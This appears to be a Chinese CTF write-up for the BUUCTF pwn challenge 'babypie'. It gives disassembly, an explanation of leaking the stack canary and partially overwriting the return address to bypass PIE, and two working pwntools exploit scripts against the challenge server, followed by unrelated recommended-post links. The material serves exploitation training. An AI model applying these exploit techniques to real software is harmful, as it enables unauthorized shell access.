第一篇博客,请允许我水一下。BUUCTF上的一题:linkctf_2018.7_babypie

检查一下保护机制:

1     Arch:     amd64-64-little
2 RELRO: Partial RELRO
3 Stack: Canary found
4 NX: NX enabled
5 PIE: PIE enabled

canary,pie,nx都开的栈,拖进IDA看看

 1 __int64 sub_960()
2 {
3 __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF
4
5 buf[5] = __readfsqword(0x28u);
6 setvbuf(stdin, 0LL, 2, 0LL);
7 setvbuf(_bss_start, 0LL, 2, 0LL);
8 buf[0] = 0LL;
9 buf[1] = 0LL;
10 buf[2] = 0LL;
11 buf[3] = 0LL;
12 puts("Input your Name:");
13 read(0, buf, 0x30uLL);
14 printf("Hello %s:\n", (const char *)buf);
15 read(0, buf, 0x60uLL);
16 return 0LL;
17 }
1 int sub_A3E()
2 {
3 return system("/bin/sh");
4 }
 1 .text:0000000000000960 sub_960         proc near               ; CODE XREF: main+14↓p
2 .text:0000000000000960
3 .text:0000000000000960 buf = qword ptr -30h
4 .text:0000000000000960 var_28 = qword ptr -28h
5 .text:0000000000000960 var_20 = qword ptr -20h
6 .text:0000000000000960 var_18 = qword ptr -18h
7 .text:0000000000000960 var_8 = qword ptr -8
8 .text:0000000000000960
9 .text:0000000000000960 ; __unwind {
10 .text:0000000000000960 push rbp
11 .text:0000000000000961 mov rbp, rsp
12 .text:0000000000000964 sub rsp, 30h
13 .text:0000000000000968 mov rax, fs:28h
14 .text:0000000000000971 mov [rbp+var_8], rax
15 .text:0000000000000975 xor eax, eax
16 .text:0000000000000977 mov rax, cs:stdin
17 .text:000000000000097E mov ecx, 0 ; n
18 .text:0000000000000983 mov edx, 2 ; modes
19 .text:0000000000000988 mov esi, 0 ; buf
20 .text:000000000000098D mov rdi, rax ; stream
21 .text:0000000000000990 call _setvbuf
22 .text:0000000000000995 mov rax, cs:__bss_start
23 .text:000000000000099C mov ecx, 0 ; n
24 .text:00000000000009A1 mov edx, 2 ; modes
25 .text:00000000000009A6 mov esi, 0 ; buf
26 .text:00000000000009AB mov rdi, rax ; stream
27 .text:00000000000009AE call _setvbuf
28 .text:00000000000009B3 mov [rbp+buf], 0
29 .text:00000000000009BB mov [rbp+var_28], 0
30 .text:00000000000009C3 mov [rbp+var_20], 0
31 .text:00000000000009CB mov [rbp+var_18], 0
32 .text:00000000000009D3 lea rdi, s ; "Input your Name:"
33 .text:00000000000009DA call _puts
34 .text:00000000000009DF lea rax, [rbp+buf]
35 .text:00000000000009E3 mov edx, 30h ; '0' ; nbytes
36 .text:00000000000009E8 mov rsi, rax ; buf
37 .text:00000000000009EB mov edi, 0 ; fd
38 .text:00000000000009F0 call _read
39 .text:00000000000009F5 lea rax, [rbp+buf]
40 .text:00000000000009F9 mov rsi, rax
41 .text:00000000000009FC lea rdi, format ; "Hello %s:\n"
42 .text:0000000000000A03 mov eax, 0
43 .text:0000000000000A08 call _printf
44 .text:0000000000000A0D lea rax, [rbp+buf]
45 .text:0000000000000A11 mov edx, 60h ; '`' ; nbytes
46 .text:0000000000000A16 mov rsi, rax ; buf
47 .text:0000000000000A19 mov edi, 0 ; fd
48 .text:0000000000000A1E call _read
49 .text:0000000000000A23 mov eax, 0
50 .text:0000000000000A28 mov rcx, [rbp+var_8]
51 .text:0000000000000A2C xor rcx, fs:28h
52 .text:0000000000000A35 jz short locret_A3C
53 .text:0000000000000A37 call ___stack_chk_fail
54 .text:0000000000000A3C ; ---------------------------------------------------------------------------
55 .text:0000000000000A3C
56 .text:0000000000000A3C locret_A3C: ; CODE XREF: sub_960+D5↑j
57 .text:0000000000000A3C leave
58 .text:0000000000000A3D retn
59 .text:0000000000000A3D ; } // starts at 960
60 .text:0000000000000A3D sub_960 endp
61 .text:0000000000000A3D
62 .text:0000000000000A3E
63 .text:0000000000000A3E ; =============== S U B R O U T I N E =======================================
64 .text:0000000000000A3E
65 .text:0000000000000A3E ; Attributes: bp-based frame
66 .text:0000000000000A3E
67 .text:0000000000000A3E sub_A3E proc near
68 .text:0000000000000A3E ; __unwind {
69 .text:0000000000000A3E push rbp
70 .text:0000000000000A3F mov rbp, rsp
71 .text:0000000000000A42 lea rdi, command ; "/bin/sh"
72 .text:0000000000000A49 call _system
73 .text:0000000000000A4E nop
74 .text:0000000000000A4F pop rbp
75 .text:0000000000000A50 retn
76 .text:0000000000000A50 ; } // starts at A3E
77 .text:0000000000000A50 sub_A3E endp

有个格式化字符串漏洞可以泄露canary,由于pie的开启,IDA里只显示后三位,发现后门函数地址后三位是 A3E ,和用gdb调出来的返回地址 A6A 只相差最后一个字节,由于小端序存储,我们可以直接部分字节写入,改返回地址为后门函数,即可getshell。以下附上exp:

from pwn import *

def pwn():
s =remote('node4.buuoj.cn',27982)
s.recvuntil(b'Input your Name:\n')
s.sendline(b'a'*0x28)
s.recvuntil(b'a'*0x28)
canary=u64(s.recv(8))-0xa
success(hex(canary)) payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e'
s.recvuntil(b':\n')
s.send(payload)
s.interactive()
pwn()

当然有兴趣的师傅也可以试看看写入双字节,爆破看看,有1/16的概率getshell。

exp:

 1 from pwn import *
2
3 def pwn():
4 s.recvuntil(b'Input your Name:\n')
5 s.sendline(b'a'*0x28)
6 s.recvuntil(b'a'*0x28)
7 canary=u64(s.recv(8))-0xa
8 success(hex(canary))
9
10 payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e\xaa'
11 s.recvuntil(b':\n')
12 s.send(payload)
13 s.sendline(b'ls')
14 k=s.recv()
15 return k
16
17
18 if __name__ == '__main__':
19 while True:
20 s =remote('node4.buuoj.cn',26877)
21 k=pwn()
22 if(b'bin' in k):
23 s.interactive()
24 break
25 s.close()

最后感谢winmt师傅的爆破指导。

partial write bypass PIE的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. PIE currently adds full or partial support to IE 6 through 8 for the following CSS3 features

    PIE stands for Progressive Internet Explorer. It is an IE attached behavior which, when applied to a ...

  3. PIE SDK算法的自定义扩展

    1.算法功能简介 算法的自定义扩展允许用户自主开发新的算法.自定义的算法必须实现PIE.SystemAlgo.BaseSystemAlgo基础类,这样才能被PIE的算法管理器调用起来. 2.算法功能实 ...

  4. PHP 7.0 7.3 (Unix) - 'gc' Disable Functions Bypass

    <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.ph ...

  5. PIE保护绕过

    (一):partial write 开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write.但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是 ...

  6. disable_functions Bypass

    参考文章和poc(文中均有poc下载地址) : https://www.uedbox.com/post/59295/ https://www.uedbox.com/post/59402/ 当然 fre ...

  7. [花式栈溢出]栈上的 partial overwrite

    [花式栈溢出]栈上的 partial overwrite 希望能在这几天对Pwn中的栈上的各种利用和其他一些较小的分支做一个收尾,以便全力投入学习堆的相关知识.初步计划是对照ctf-wiki查缺补漏. ...

  8. ASP.NET Core 中文文档 第四章 MVC(3.7 )局部视图(partial)

    原文:Partial Views 作者:Steve Smith 翻译:张海龙(jiechen).刘怡(AlexLEWIS) 校对:许登洋(Seay).何镇汐.魏美娟(初见) ASP.NET Core ...

  9. [No0000A2]“原始印欧语”(PIE)听起来是什么样子?

    "Faux Amis"节目中经常提到"原始印欧语"(PIE)——"Proto-Indo-European". 我们说过,英语,法语中的&qu ...

随机推荐

  1. redis入门到精通系列(九):redis哨兵模式详解

    (一)哨兵概述 前面我们讲了redis的主从复制,为了实现高可用,会选择一台服务器作为master,多台服务器作为slave.现在有这样一种情况,master宕机了,这时系统会选择一台slave作为m ...

  2. Linux运维实战之磁盘分区、格式化及挂载(一)

    在网络系统中,磁盘和文件系统管理是两个非常基本.同时也是非常重要的管理任务,特别是文件系统管理,因为它与用户权限和整个网络系统的安全息息相关.本次博文的主题是关于Linux系统中磁盘分区.格式化及挂载 ...

  3. Spring MVC入门(二)—— URI Builder模式

    URI Builder Spring MVC作为一个web层框架,避免不了处理URI.URL等和HTTP协议相关的元素,因此它提供了非常好用.功能强大的URI Builder模式来完成,这就是本文重点 ...

  4. List如何一边遍历,一边删除?

    1.新手常犯的错误 可能很多新手(包括当年的我,哈哈)第一时间想到的写法是下面这样的: public static void main(String[] args) { List<String& ...

  5. Jenkins构建通知

    目录 一.简介 二.推送到gitlab 三.邮件通知 自带配置 Email Extension 四.钉钉通知 五.脚本钉钉通知 六.HTTP请求通知 一.简介 类似于监控报警,jenkins在配置持续 ...

  6. Markdown 语法粗学

    Markdown 语法粗学 Typora下载 Typora官网 下拉点击右上角 选择下载即可 里面选择自己想要的系统下载即可 如果下载缓慢,推荐使用各自的下载工具或者使用软件管家等 亲测迅雷速度尚可 ...

  7. IDT系统中断描述表以及绕过Xurtr检测的HOOK姿势

    什么是中断?  指当出现需要时,CPU暂时停止当前程序的执行转而执行处理新情况的程序和执行过程.即在程序运行过程中,系统出现了一个必须由CPU立即处理的情况,此时,CPU暂时中止程序的执行转而处理这个 ...

  8. ASP.NET WebApi 依赖 SAP Connector dll 报错

    说明 本地 VS 开发 ASP.NET WebApi 调试运行没有问题,但发布到服务器 IIS 上就报错.结果发现是 SAP 依赖库的问题:sapnco.dll.sapnco_utils.dll. 错 ...

  9. LET函数(Excel函数集团)

    LET函数,是个Office365新增函数,所以,还在用上古版本的童鞋请无视此篇哈~ 话说Excel中,有个自定义名称的功能,如下图,左右两个表分别自定义了"data1"和&quo ...

  10. AT1381 エンド・オブ・ビギニング 题解

    Content 有 \(n\) 组询问,每组询问给定三个字符串 \(s_1,s_2,s_3\). 如果 \(s_1\) 是 BEGINNING,输出 \(s_3\) 的第一个字符. 如果 \(s_1\ ...